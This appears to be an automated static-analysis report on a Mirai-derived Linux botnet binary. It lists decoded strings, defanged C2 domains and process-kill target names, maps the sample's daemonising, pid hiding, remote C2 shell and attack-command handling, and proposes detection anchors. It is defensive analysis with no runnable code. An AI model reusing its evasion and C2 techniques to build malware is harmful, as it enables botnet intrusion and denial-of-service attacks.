94/usr/sbin0x272a7ascii0x40e430strings_decode:custom
95/system0x272b2ascii0x40e446strings_decode:custom
96/mnt/mtd/app0x272bbascii0x40e45cstrings_decode:custom
97/org0x272c9ascii0x40e472strings_decode:custom
98/z/zbin0x272cfascii0x40e488strings_decode:custom
99/home/app0x272d8ascii0x40e49estrings_decode:custom
100/dvr/bin0x272e3ascii0x40e4b4strings_decode:custom
101/duksan0x272edascii0x40e4castrings_decode:custom
102/userfs0x272f6ascii0x40e4e0strings_decode:custom
103/mnt/app0x272ffascii0x40e4f6strings_decode:custom
104/usr/etc0x27309ascii0x40e50cstrings_decode:custom
105/dvr/main0x27313ascii0x40e522strings_decode:custom
106/usr/local0x2731eascii0x40e538strings_decode:custom
107/var/bin0x2732aascii0x40e54estrings_decode:custom
108/tmp/sqfs0x27334ascii0x40e564strings_decode:custom
109/z/bin0x2733fascii0x40e57astrings_decode:custom
110/dvr0x27347ascii0x40e590strings_decode:custom
111/mnt/mtd0x2734dascii0x40e5a6strings_decode:custom
112/zconf0x27357ascii0x40e5bcstrings_decode:custom
113/gm/bin0x2735fascii0x40e5d2strings_decode:custom
114/home/process0x27368ascii0x40e5e8strings_decode:custom
115/var/challenge0x27377ascii0x40e5festrings_decode:custom
116/usr/lib0x27387ascii0x40e614strings_decode:custom
117/usr/lib/openssh/sftp-server0x27391ascii0x40e62astrings_decode:custom
118/home/0x273afascii0x40e640strings_decode:custom
119/lib/systemd/0x273b7ascii0x40e656strings_decode:custom
120/usr/lib/systemd0x273c6ascii0x40e66cstrings_decode:custom
121/system/system/bin/0x273d8ascii0x40e682strings_decode:custom
122/mnt/0x273edascii0x40e698strings_decode:custom
123/home/helper0x273f4ascii0x40e6aestrings_decode:custom
124/home/davinci0x27402ascii0x40e6c4strings_decode:custom
125/usr/libexec/0x27411ascii0x40e6dastrings_decode:custom
126/sbin/0x27420ascii0x40e6f0strings_decode:custom
127/bin/0x27428ascii0x40e706strings_decode:custom
128/proc/0x2742fascii0x40e718strings_decode:custom
129/sys/0x27437ascii0x40e72estrings_decode:custom
130/dev/0x2743eascii0x40e744strings_decode:custom
131/etc/0x27445ascii0x40e75astrings_decode:custom
132/var/0x2744cascii0x40e770strings_decode:custom
133/tmp/0x27453ascii0x40e786strings_decode:custom
134/opt/0x2745aascii0x40e79cstrings_decode:custom
135/root/0x27461ascii0x40e7b2strings_decode:custom
136/media/0x27469ascii0x40e7c8strings_decode:custom
137/run/0x27472ascii0x40e7destrings_decode:custom
138/var/log/0x27479ascii0x40e7f4strings_decode:custom
139/var/run/0x27484ascii0x40e80astrings_decode:custom
140/var/lib/0x2748fascii0x40e820strings_decode:custom
141/var/cache/0x2749aascii0x40e836strings_decode:custom
142/var/spool/0x274a7ascii0x40e84cstrings_decode:custom
143/var/tmp/0x274b4ascii0x40e862strings_decode:custom
144init0x274bfascii0x40e878strings_decode:custom
145systemd0x274c5ascii0x40e88astrings_decode:custom
146kthreadd0x274ceascii0x40e8a0strings_decode:custom
147ksoftirqd0x28272ascii0x40e8b6strings_decode:custom
148migration0x274d8ascii0x40e8ccstrings_decode:custom
149rcu_0x274e3ascii0x40e8e2strings_decode:custom
150khelper0x274e9ascii0x40e8f8strings_decode:custom
151kdevtmpfs0x274f2ascii0x40e90estrings_decode:custom
152netns0x274fdascii0x40e924strings_decode:custom
153perf0x2827dascii0x40e93astrings_decode:custom
154khungtaskd0x27504ascii0x40e950strings_decode:custom
155writeback0x27510ascii0x40e966strings_decode:custom
156crypto0x2751bascii0x40e97cstrings_decode:custom
157bioset0x27523ascii0x40e992strings_decode:custom
158kblockd0x2752bascii0x40e9a8strings_decode:custom
159ata_sff0x27534ascii0x40e9bestrings_decode:custom
160edac-poller0x27541ascii0x40e9eastrings_decode:custom
161devfreq_wq0x28283ascii0x40ea00strings_decode:custom
162kswapd00x2754eascii0x40ea16strings_decode:custom
163ecryptfs-kthrea0x27557ascii0x40ea2cstrings_decode:custom
164kthrotld0x27568ascii0x40ea42strings_decode:custom
165acpi_thermal_pm0x27572ascii0x40ea58strings_decode:custom
166jbd20x27583ascii0x40ea6estrings_decode:custom
167ext4-rsv-conver0x27589ascii0x40ea84strings_decode:custom
168iprt-VBoxWQueue0x2759aascii0x40ea9astrings_decode:custom
169kauditd0x275abascii0x40eab0strings_decode:custom
170ipv6_addrconf0x275b4ascii0x40eac6strings_decode:custom
171kstrp0x275c3ascii0x40eadcstrings_decode:custom
172irq/0x275caascii0x40eaf2strings_decode:custom
173rcu_bh0x275d0ascii0x40eb08strings_decode:custom
174rcu_sched0x275d8ascii0x40eb1estrings_decode:custom
175rcuop0x275e3ascii0x40eb34strings_decode:custom
176rcuog0x275eaascii0x40eb4astrings_decode:custom
177rcuos0x275f1ascii0x40eb60strings_decode:custom
178rcuob0x275f8ascii0x40eb76strings_decode:custom
179rcuoc0x275ffascii0x40eb8cstrings_decode:custom
180telnetd0x27606ascii0x40eba2strings_decode:custom
181udhcpc0x2760fascii0x40ebb8strings_decode:custom
182upnpd0x27617ascii0x40ebcestrings_decode:custom
183watchdog0x2761eascii0x40ebe4strings_decode:custom
184syslogd0x27628ascii0x40ebfastrings_decode:custom
185klogd0x27631ascii0x40ec10strings_decode:custom
186uhttpd0x27638ascii0x40ec26strings_decode:custom
187uchttpd0x27640ascii0x40ec3cstrings_decode:custom
188pppd0x27649ascii0x40ec52strings_decode:custom
189dhclient0x2764fascii0x40ec68strings_decode:custom
190systemd0x274c5ascii0x40ec7astrings_decode:custom
191sshd0x27659ascii0x40ec90strings_decode:custom
192kworker0x2765fascii0x40eca6strings_decode:custom
193sleep0x27668ascii0x40ecbcstrings_decode:custom
194usleep0x2766fascii0x40ecd2strings_decode:custom
195nanosleep0x27677ascii0x40ece8strings_decode:custom
196select0x27682ascii0x40ecfestrings_decode:custom
197poll0x2768aascii0x40ed14strings_decode:custom
198epoll_wait0x27690ascii0x40ed2astrings_decode:custom
199/dev/console0x2769cascii0x40ed40strings_decode:custom
200socket0x276aaascii0x40ed56strings_decode:custom
201proc0x276b2ascii0x40ed6cstrings_decode:custom
202ash0x276b8ascii0x40ed82strings_decode:custom
203bash0x276bdascii0x40ed98strings_decode:custom
204dash0x276c3ascii0x40edaestrings_decode:custom
205login0x276c9ascii0x40edc4strings_decode:custom
206wget0x276d0ascii0x40eddastrings_decode:custom
207curl0x276d6ascii0x40edf0strings_decode:custom
208tftp0x276dcascii0x40ee06strings_decode:custom
209ntpdate0x276e2ascii0x40ee1cstrings_decode:custom
210ftp0x276ebascii0x40ee32strings_decode:custom
211netcat0x276f4ascii0x40ee5estrings_decode:custom
212adb0x276fcascii0x40ee74strings_decode:custom
213/proc/0x2742fascii0x40ee86strings_decode:custom
214/status0x27701ascii0x40ee9cstrings_decode:custom
215/exe0x2770aascii0x40eeb2strings_decode:custom
216/fd0x27710ascii0x40eec8strings_decode:custom
217/mountinfo0x27715ascii0x40eedestrings_decode:custom
218/lib/0x27721ascii0x40eef4strings_decode:custom
219/lib64/0x27728ascii0x40ef0astrings_decode:custom
220/root/self/exe0x27731ascii0x40ef20strings_decode:custom
221/proc/net/tcp0x27741ascii0x40ef36strings_decode:custom
222/proc/self/exe0x2728dascii0x40ef48strings_decode:custom
223/home0x27750ascii0x40ef5estrings_decode:custom
224/dev0x27757ascii0x40ef74strings_decode:custom
225/var0x2775dascii0x40ef9fstrings_decode:custom
226.updated0x27763ascii0x40efb1strings_decode:custom
227.updated0x27763ascii0x40efc3strings_decode:custom
228/proc/cpuinfo0x2776dascii0x40efd9strings_decode:custom
229/proc/meminfo0x2777bascii0x40efefstrings_decode:custom
230/proc/version0x27789ascii0x40f005strings_decode:custom
231/proc0x27797ascii0x40f01bstrings_decode:custom
232/dev/watchdog0x2779dascii0x40f031strings_decode:custom
233/dev/misc/watchdog0x277abascii0x40f047strings_decode:custom
234processor0x277beascii0x40f05dstrings_decode:custom
235free -m 2>/dev/null0x277c8ascii0x40f073strings_decode:custom
236systemd0x277dcascii0x40f089strings_decode:custom
237telnetd0x277e4ascii0x40f09fstrings_decode:custom
238udhcpc0x277ecascii0x40f0b5strings_decode:custom
239upnpd0x277f3ascii0x40f0cbstrings_decode:custom
240watchdog0x277f9ascii0x40f0e1strings_decode:custom
241syslogd0x27802ascii0x40f0f7strings_decode:custom
242klogd0x2780aascii0x40f10dstrings_decode:custom
243uhttpd0x27810ascii0x40f123strings_decode:custom
244uchttpd0x27817ascii0x40f139strings_decode:custom
245arm70x2781fascii0x40f16fstrings_decode:custom
246arm50x27824ascii0x40f188strings_decode:custom
247arm40x27829ascii0x40f19estrings_decode:custom
248arm0x2782eascii0x40f1b4strings_decode:custom
249mpsl0x27832ascii0x40f1cdstrings_decode:custom
250mips0x27837ascii0x40f1e6strings_decode:custom
251x86_640x2783cascii0x40f1f8strings_decode:custom
252amd640x27843ascii0x40f20astrings_decode:custom
253i6860x27849ascii0x40f21cstrings_decode:custom
254i3860x2784eascii0x40f232strings_decode:custom
255i5860x27853ascii0x40f248strings_decode:custom
256unknown0x27859ascii0x40f25astrings_decode:custom
257/bin/bash0x27861ascii0x40f270strings_decode:custom
258/bin/dash0x2786bascii0x40f286strings_decode:custom
259/bin/zsh0x27875ascii0x40f29cstrings_decode:custom
260/bin/csh0x2787eascii0x40f2b2strings_decode:custom
261/bin/tcsh0x27887ascii0x40f2c8strings_decode:custom
262bash0x27894ascii0x40f2f4strings_decode:custom
263dash0x27899ascii0x40f30astrings_decode:custom
264zsh0x2789eascii0x40f320strings_decode:custom
265csh0x278a2ascii0x40f336strings_decode:custom
266tcsh0x278a6ascii0x40f34cstrings_decode:custom
267-sh0x278abascii0x40f362strings_decode:custom
268-bash0x278afascii0x40f378strings_decode:custom
269/cmdline0x278b5ascii0x40f38estrings_decode:custom
270reboot0x278beascii0x40f3a4strings_decode:custom
271shutdown0x278c5ascii0x40f3bastrings_decode:custom
272halt0x278ceascii0x40f3d0strings_decode:custom
273poweroff0x278d3ascii0x40f3e6strings_decode:custom
274sftp-server0x278dcascii0x40f3fcstrings_decode:custom
275/fd/0x278e8ascii0x40f412strings_decode:custom
276/maps0x278edascii0x40f424strings_decode:custom
277/lib/0x27222ascii0x40f436strings_decode:custom
278hackattackkaboom[.]botlesscucks[.]st0x278f3ascii0x40f44cstrings_decode:custom
279hik[.]gettingheadfromduckysmom[.]st0x27915ascii0x40f462strings_decode:custom
280/sbin/crimetables0x27936ascii0x40f478strings_decode:custom
281/sbin/crime-multi0x27949ascii0x40f48estrings_decode:custom
282cat0x2795cascii0x40f4a4strings_decode:custom
283/bin/cat0x27960ascii0x40f4bastrings_decode:custom
284CitizenFX/10x2796eascii0x40f4e6strings_decode:custom
285Accept:*/*0x2797aascii0x40f4fcstrings_decode:custom
286localhost0x27985ascii0x40f512strings_decode:custom
287.php0x2798fascii0x40f528strings_decode:custom
288.txt0x27994ascii0x40f53estrings_decode:custom
289.html0x27999ascii0x40f554strings_decode:custom
290.css0x2799fascii0x40f56astrings_decode:custom
291.json0x279a4ascii0x40f580strings_decode:custom
292.xml0x279aaascii0x40f596strings_decode:custom
293.png0x279afascii0x40f5acstrings_decode:custom
294.gif0x2828fascii0x40f5c2strings_decode:custom
295.asp0x279b4ascii0x40f5d8strings_decode:custom
296.wasm0x279b9ascii0x40f5eestrings_decode:custom
297.map0x279bfascii0x40f604strings_decode:custom
2980123456789abcdef0x279c4ascii0x40f61astrings_decode:custom
299device0x279d5ascii0x40f630strings_decode:custom
300148618790x279dcascii0x40f646strings_decode:custom

Derived artifacts not shown as strings (8): files the analysis registered that hold no strings or config this section reads (a binary, an extracted archive, a layer's own bytes).

IDOfPathKindTransformSizeSHA-256Layer it becameEvidenceWhy not shown
D2L0out/L0/strtable/strings.jsonotheraccepted entries of D1 with table, slot id, source VA and class2ca29039088127b3eba72b5eab4bac32c2589016a88cba13751a9066b040420dE22kind other: not read for strings
D3L0out/L0/strtable/summary.jsonothercounts by table, class and category over D298d6077b5aa9b2f80abd94f35f81ee2df1f8ce850cee76a8b4a422b79e9a5fd7E35kind other: not read for strings
D4L0out/L0/strtable/controls.jsonotherdecode controls: likeness, wrong-parameter variants, constant check8d5f74217d8a2d1675711d58efe611ec659bbf2e4c7ecb35e11f8c332410ef5dE37kind other: not read for strings
D5L0out/L0/strtable/census.jsonothersetter call-site census from the store init disassemblya96957dd5a3d926507aad562ed960e9bde5f07f68279e97eab3040ff219926acE36kind other: not read for strings
D6L0out/L0/strtable/sites_meta.jsonotherper-site setter arguments recovered from the init disassemblyf80d09bab268beda2932261c91c585e5280d830171cdad97a6ba83eca0ed4b9aE36kind other: not read for strings
D7L0out/L0/strtable/init_disasm.txtothercapstone disassembly of the store init function 0x40dba0c42c52fb17203e45f03e12a9d768a58652e6a98e87747fad588af3f43bb2a7e6E36kind other: not read for strings
D8L0out/L0/strtable/text_all.asmothercapstone disassembly of .text used to find the setter sites057d591fc1b5e185121ad4f99a91b008196e45e6e3181387e36360d6cf93ffe7E36kind other: not read for strings
D9L0out/L0/store_hosts.jsonotherhostname-class entries of D2 with slot ids0b57e2fb7b838ab1164e634588377f90d4bfeb600200c7a9f4325e2ee36d039fE24kind other: not read for strings

Process map (static) 35

Where the code can create, replace, detach or signal processes, read from the call graph without running the sample: each site with the call path from the entry point. Branch conditions are not evaluated, so this is what the code can start, not what one run did; sites the graph does not reach from the entry are listed, never hidden.

L0

ELF x64: 35 sites (9 spawns a process, 3 replaces its image, 3 detaches (new session/group), 13 signals a process, 7 changes its own process (name, mounts)), 31 reached from the entry; daemon shape (spawn and detach in one function); 70 syscall sites read, 12 with a number not resolvable statically.

0x400b7f
  └ 0x400b95
    └ 0x417a32
      └ 0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)   [fork, kill, setpgid, setsid]
        └ 0x4139d0 (overwrites argv[0] with a store process name padded with spaces)   [prctl]
        └ 0x414dca (as root, sets non-dumpable and a random store process name)   [mount, prctl]
          └ 0x41479d (bind-mounts a donor /proc/<pid> over its own)   [mount]
        └ 0x415de7   [kill]
        └ 0x4163d6   [fork, kill]
          └ 0x415c92   [fork, kill, prctl]
            └ 0x415c41   [kill]
          └ 0x415fc6 (/proc walker that kills matching processes (syscall profile))   [kill]
        └ 0x417403   [fork]
          └ 0x41720d (/proc walker with readlink (syscall profile))
            └ 0x416635   [kill]
        └ 0x4138f6
          └ 0x400f7d (parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates)   [execve, kill]
            └ 0x400d2b (forks the attack worker and calls the vector from the method table)   [fork, kill]
            └ 0x413ae0   [kill]
          └ 0x40aa12 (remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command)   [fork, setsid]
            └ 0x40a57f (learns the user and home values for the shell by running store-named programs and reading store-named files)
              └ 0x40d2bf (runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f)   [execve, fork]
            └ 0x41bcc7
              └ 0x41bdbb   [execve]
        └ 0x40afc5
          └ 0x40a948 (ends the remote shell session)   [kill]
        └ 0x412d78 (single-instance lock on a loopback TCP port)
          └ 0x40cb5a (/proc walker with readlink and kill (syscall profile))   [kill]
CallWhat it doesIn functionSitePath from the entryDaemon shape
setpgiddetaches (new session/group)0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)0040020c0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0
forkspawns a process0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)004003b70x400b7f → 0x400b95 → 0x417a32 → 0x4001d0yes
setsiddetaches (new session/group)0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)004003c40x400b7f → 0x400b95 → 0x417a32 → 0x4001d0
killsignals a process0x4001d0 (main: start-up sequence, daemonise, then the C2 connect/select/heartbeat/receive loop)004008580x400b7f → 0x400b95 → 0x417a32 → 0x4001d0
prctlchanges its own process (name, mounts)0x4139d0 (overwrites argv[0] with a store process name padded with spaces)00413a9b0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4139d0
mountchanges its own process (name, mounts)0x414dca (as root, sets non-dumpable and a random store process name)00414aea0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x414dca
prctlchanges its own process (name, mounts)0x414dca (as root, sets non-dumpable and a random store process name)00414df40x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x414dca
killsignals a process0x415de700415df70x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x415de7
forkspawns a process0x4163d6004164080x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6
killsignals a process0x4163d6004165910x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6
forkspawns a process0x4174030041740a0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x417403
killsignals a process0x400f7d (parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates)00400d190x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d
execvereplaces its image0x400f7d (parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates)0040c5160x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d
killsignals a process0x40a948 (ends the remote shell session)0040a98d0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x40afc5 → 0x40a948
forkspawns a process0x40aa12 (remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command)0040ad370x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12yes
setsiddetaches (new session/group)0x40aa12 (remote interactive shell over the C2: opens a pty, forks a shell with a prepared environment, relays data, closes on command)0040ad720x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12
killsignals a process0x40cb5a (/proc walker with readlink and kill (syscall profile))0040ced60x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x412d78 → 0x40cb5a
mountchanges its own process (name, mounts)0x41479d (bind-mounts a donor /proc/<pid> over its own)0041485b0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x414dca → 0x41479d
forkspawns a process0x415c9200415ca30x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92
prctlchanges its own process (name, mounts)0x415c9200415cbe0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92
killsignals a process0x415c9200415db00x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92
killsignals a process0x415fc6 (/proc walker that kills matching processes (syscall profile))004162470x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415fc6
forkspawns a process0x400d2b (forks the attack worker and calls the vector from the method table)00400d4c0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d → 0x400d2b
killsignals a process0x400d2b (forks the attack worker and calls the vector from the method table)00400da00x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d → 0x400d2b
killsignals a process0x413ae0004175cf0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x400f7d → 0x413ae0
killsignals a process0x415c4100415c800x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4163d6 → 0x415c92 → 0x415c41
killsignals a process0x4166350041666a0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x417403 → 0x41720d → 0x416635
killsignals a process0x416635004166830x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x417403 → 0x41720d → 0x416635
forkspawns a process0x40d2bf (runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f)0040d3060x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12 → 0x40a57f → 0x40d2bf
execvereplaces its image0x40d2bf (runs a program through pipe/fork/execve and collects its output; called by the user discovery 0x40a57f)0040d36e0x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12 → 0x40a57f → 0x40d2bf
execvereplaces its image0x41bdbb0041bdc50x400b7f → 0x400b95 → 0x417a32 → 0x4001d0 → 0x4138f6 → 0x40aa12 → 0x41bcc7 → 0x41bdbb
forkspawns a process0x406502004067fcnot reached from the entry
prctlchanges its own process (name, mounts)0x40650200406819not reached from the entry
forkspawns a process0x40939a004093c1not reached from the entry
prctlchanges its own process (name, mounts)0x40939a004093d6not reached from the entry

Detection anchors 5

Features a detection rule could match on: what to match, where it sits in the file, how stable it is across builds, and what else might match it. They are proposals; CORD Detection measures them against clean software before any becomes a rule.

idstatusfeaturescan typescopefileevidenceon diskwherepatternhow stablepossible false matchessingle sample only
A1nominated16-byte ChaCha20 constant stored XOR 0xa5 in .rodata, read by the string-store cipherrealtimefamilyOriginalE3, E4yesvery low; the masked constant is not a natural byte run. Match anywhere in the file rather than at the offset across buildsno
A2nominatedattack-method table at the start of .data: 24 records of {u8 id 0..23, 7 zero bytes, u64 pointer into .text}, count 24 at +0x180batchfamilyOriginalE7, E8yesother Mirai derivatives with the same vector count; the layout itself is shared by the lineageno
A3nominatedpid-hiding routine: builds two /proc/<pid> paths from a store prefix and calls mount with flags 0x1000 (MS_BIND), immediate operands maskedrealtimetechniqueOriginalE12yeslegitimate container tools bind-mount, but not /proc/<pid> onto /proc/<pid>; pair with A1 or A2no
A4nominated18-entry DNS resolver address table in .rodata used by the C2 resolverrealtimebuildOriginalE17, E18yesnetwork tools that embed public resolver lists in the same order; low for the full 72 bytesno
A5nominatedsingle-instance lock constants in one function: htonl(0x7f000001) and htons(0x4d2) beside socket(2,1,0)/bind/listenrealtimefamilyOriginalE9yesany program binding loopback port 1234; weak aloneno

Open questions 6

Questions the analysis could not answer, what was tried, and why it stopped. Some may have been answered by a later step; check Decoded strings.

U1

23 of 484 string-store sites fail the printable control, and the readers of the other hostname-class slots (0x8-0x10, 0x114, 0x13f-0x143) are not known.

what was tried
ChaCha20 decrypt of all 484 setter sites (E35, E36, E37): 461 accepted under the printable control, 3 wrong-parameter variants accept none, slot-to-class map for the analysed readers (E25, E34), read the C2 selector 0x413189 and port picker 0x413aaa (E29, E30): the C2 host is slots 0-7 and the port comes from the 0x4287e0 table
why it stopped
the 23 sites fail the printable-likeness control (short entries, likely binary values or a second scheme); no xref pass for slots 0x8-0x10 and 0x13f-0x143 was run
blocks
none
evidence
E35, E36, E29
U2

Where the 32 bytes behind the C2 peer key live, and the exact hash/MAC primitives of the session.

what was tried
read the handshake 0x411a32, the peer-key derivation 0x411361 and the frame receive 0x412ad8/0x412010 (E31, E32): X25519 ephemeral key, peer key = clamp(hash(32 embedded bytes)), key expansion with a store label, 16-byte tag then ChaCha20
why it stopped
0x4122e0 (source of the embedded bytes), 0x411241 (hash) and 0x412677 (MAC) were not opened; the capa HMAC/Curve25519 leads agree with the read but the primitives are not named by a read
blocks
none
evidence
E31, E32, E16
U3

The shell relay 0x40a31c and the shell-message check 0x40b0b8.

what was tried
read 0x40aa12 in full (E26), the frame parser 0x40b0fb (E28) and the environment discovery 0x40a57f/0x40a86a (E27): the second command class is a remote PTY shell
why it stopped
the relay and the magic check were not opened; the shell itself is established
blocks
none
U4

Protocol and packet template of each of the 24 attack vectors at 0x62b000.

what was tried
table dumped (out/L0/method_table.json); syscall profile per vector (out/L0/fn_syscalls.json)
why it stopped
vector bodies not read individually; a per-vector read matters for network signatures only
blocks
none
U5

What the read-only marker page at 0x62bdc0 is used for after 0x40c8fe maps it.

what was tried
read 0x40c8fe, 0x40c6f4 and 0x40c63d (E33): one byte written to an existing file, a /proc-found mapping, a memfd or a 0600 file, then mapped PROT_READ; no copy of the binary is written, so it is not a persistence drop
why it stopped
the readers of 0x62bdc0 were not followed
blocks
none
U6

Reach of 9 user functions (among them 0x401a5e and 0x4021f5, which connect and send) and 28 unresolved computed sites in reached code.

what was tried
Ghidra call graph plus the 24 attack-table slots as roots
why it stopped
native_callgraph.py and dispatch_reach.py parse PE only (PEFormatError on this ELF); no ELF code-slot pass was run
blocks
none

How the code connects

Shortest call paths from the entry points to every function the report cites. Dashed edges are address-taken or virtual references (callbacks, thread procs, delegates, tables), not direct calls. Select a cited function to jump to its code; zoom and drag to pan a large graph.

From Ghidra's call graph: 56 functions, 59 edges.

100%drag to panentry pointcitedon the wayreference
direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct direct indirect_resolved main0x4001d0main 0x4001d0 entry0x400b7fentry 0x400b7f kills every tracked child pid except…0x400cd7kills every tracked child pid except… 0x400cd7 forks the attack worker and calls the…0x400d2bforks the attack worker and calls the… 0x400d2b parses an attack command0x400f7dparses an attack command 0x400f7d learns the user and home values for the…0x40a57flearns the user and home values for the… 0x40a57f finds the account-file entry whose uid…0x40a86afinds the account-file entry whose uid… 0x40a86a ends the remote shell session0x40a948ends the remote shell session 0x40a948 remote interactive shell over the C20x40aa12remote interactive shell over the C2 0x40aa12 0x40afc5FUN_0040afc5 0x40afc5 parses the shell message header0x40b0fbparses the shell message header 0x40b0fb downloads a file over a TCP request and…0x40b89cdownloads a file over a TCP request and… 0x40b89c self-update0x40c42aself-update 0x40c42a 0x40c527FUN_0040c527 0x40c527 returns the decrypted store entry for a…0x40c607returns the decrypted store entry for a… 0x40c607 maps a marker fd 0x1000 bytes PROT_READ…0x40c63dmaps a marker fd 0x1000 bytes PROT_READ… 0x40c63d scans per-process /proc files for a…0x40c6f4scans per-process /proc files for a… 0x40c6f4 sets up the shared read-only marker page0x40c8fesets up the shared read-only marker page 0x40c8fe /proc walker with readlink and kill0x40cb5a/proc walker with readlink and kill 0x40cb5a runs a program through pipe/fork/execve…0x40d2bfruns a program through pipe/fork/execve… 0x40d2bf local address via UDP connect to a…0x40d3e8local address via UDP connect to a… 0x40d3e8 chaCha20 stream cipher, used for the…0x40d6c6chaCha20 stream cipher, used for the… 0x40d6c6 copies one store entry into its slot…0x40d8facopies one store entry into its slot… 0x40d8fa adds and decrypts an entry of the…0x40dae1adds and decrypts an entry of the… 0x40dae1 fills the 476-slot string store with…0x40dba0fills the 476-slot string store with… 0x40dba0 derives the C2 peer X25519 public key…0x411361derives the C2 peer X25519 public key… 0x411361 unknown0x411824unknown 0x411824 0x411944FUN_00411944 0x411944 C2 session hello0x411a32C2 session hello 0x411a32 C2 session handshake state step0x411ca1C2 session handshake state step 0x411ca1 checks header type, length and sequence…0x412010checks header type, length and sequence… 0x412010 sends a framed C2 message in session…0x4120f1sends a framed C2 message in session… 0x4120f1 receives and de-frames C2 messages in…0x41215breceives and de-frames C2 messages in… 0x41215b unknown0x412385unknown 0x412385 0x412649FUN_00412649 0x412649 unknown0x412677unknown 0x412677 0x41277fFUN_0041277f 0x41277f 0x4129d6FUN_004129d6 0x4129d6 verifies a received session frame0x412ad8verifies a received session frame 0x412ad8 single-instance lock on a loopback TCP…0x412d78single-instance lock on a loopback TCP… 0x412d78 selects the C2 host from store slots…0x413189selects the C2 host from store slots… 0x413189 builds the registration record with…0x4132d0builds the registration record with… 0x4132d0 0x4138f6FUN_004138f6 0x4138f6 overwrites argv[0] with a store process…0x4139d0overwrites argv[0] with a store process… 0x4139d0 picks a random C2 port from the…0x413aaapicks a random C2 port from the… 0x413aaa resolves the C2 name0x414193resolves the C2 name 0x414193 0x4143a1FUN_004143a1 0x4143a1 bind-mounts a donor /proc/<pid> over…0x41479dbind-mounts a donor /proc/<pid> over… 0x41479d finds a donor process in /proc by store…0x414879finds a donor process in /proc by store… 0x414879 as root, sets non-dumpable and a random…0x414dcaas root, sets non-dumpable and a random… 0x414dca /proc walker that kills matching…0x415fc6/proc walker that kills matching… 0x415fc6 0x4163d6FUN_004163d6 0x4163d6 /proc walker with readlink0x41720d/proc walker with readlink 0x41720d 0x417403FUN_00417403 0x417403 0x417a32FUN_00417a32 0x417a32 0x417a60FUN_00417a60 0x417a60
Paths as text · 43
  • main: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0
  • kills every tracked child pid except…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → kills every tracked child pid except… 0x400cd7
  • forks the attack worker and calls the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d → forks the attack worker and calls the… 0x400d2b
  • parses an attack command: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → parses an attack command 0x400f7d
  • learns the user and home values for the…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → learns the user and home values for the… 0x40a57f
  • finds the account-file entry whose uid…: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → finds the account-file entry whose uid… 0x40a86a
  • ends the remote shell session: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x40afc5 → ends the remote shell session 0x40a948
  • remote interactive shell over the C2: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12
  • parses the shell message header: entry 0x400b7f → 0x417a60 → 0x417a32 → main 0x4001d0 → 0x4138f6 → remote interactive shell over the C2 0x40aa12 → parses the shell message header 0x40b0fb
